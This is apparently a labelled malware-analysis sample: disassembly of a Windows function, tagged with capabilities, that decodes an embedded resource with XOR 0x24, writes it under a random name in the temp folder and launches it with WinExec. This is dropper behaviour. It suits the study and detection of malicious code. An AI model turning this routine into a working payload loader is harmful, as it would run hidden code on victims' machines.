Function at 0x4028d0
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4028fd
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
call fcn.00401000
cmp eax, 5
je 0x40291c
cmp eax, 7
je 0x40291c
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
call fcn.00402f10
cmp eax, 1
jne 0x40290c
push esi
push 0x103
lea eax, [ebp - 0x343]
push 0
push eax
mov byte [ebp - 0x344], 0
call fcn.004063c0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x344]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.004063c0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea esi, [ebp - 0x108]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x402990
push ebx
sub esi, ecx
push edi
lea edi, [esi + 8]
cmp esi, edi
jge 0x4029ca
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
xor edx, edx
mov ecx, 0x1a
div ecx
push 1
add dl, 0x61
mov byte [ebp + esi - 0x108], dl
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, edi
jl 0x4029a8
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4029d1
mov edx, dword [0x40eb88]
mov cl, byte [0x40eb8c]
mov dword [eax], edx
mov byte [eax + 4], cl
call fcn.004027f0
xor edx, edx
test al, al
setne dl
push 0x40eb90
mov byte [ebp - 0x345], al
add edx, 0x65
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
call fcn.0040371f
push esi
mov ebx, eax
push edi
push ebx
call fcn.00407e20
add esp, 0x10
xor ecx, ecx
test esi, esi
jle 0x402a5a
mov al, byte [ecx + ebx]
test al, al
je 0x402a55
cmp al, 0x24
je 0x402a55
xor al, 0x24
mov byte [ecx + ebx], al
inc ecx
cmp ecx, esi
jl 0x402a45
xor ecx, ecx
test esi, esi
je 0x402a83
cmp byte [ecx + ebx], 0x41
lea edx, [ecx + ebx]
jne 0x402a7e
xor eax, eax
jmp 0x402a70
cmp byte [edx + eax], 0x41
jne 0x402a7e
inc eax
cmp eax, 0x1e
jl 0x402a70
jmp 0x402a83
inc ecx
cmp ecx, esi
jb 0x402a60
lea eax, [esi - 1]
cmp ecx, eax
jae 0x402ac7
lea eax, [ebp - 0x344]
mov edx, eax
sub ecx, edx
lea edx, [ecx + ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402a97
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402ada
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
xor al, al
pop esi
call fcn.00403107
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 0x34c]
push ecx
push esi
push ebx
push edi
mov dword [ebp - 0x34c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x135
lea edx, [ebp - 0x23f]
push 0
push edx
mov byte [ebp - 0x240], 0
call fcn.004063c0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x240]
push 0x40eb94
push ecx
call fcn.00403116
lea eax, [ebp - 0x240]
add esp, 0x18
dec eax
cmp byte [ebp - 0x345], 0
je 0x402b60
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402b42
mov edx, dword [0x40ebb0]
mov ecx, dword [0x40ebb4]
mov dword [eax], edx
mov dword [eax + 4], ecx
jmp 0x402b84
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402b60
mov edx, dword [0x40ebb8]
mov ecx, dword [0x40ebbc]
mov dword [eax], edx
mov dx, word [0x40ebc0]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
push 0
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]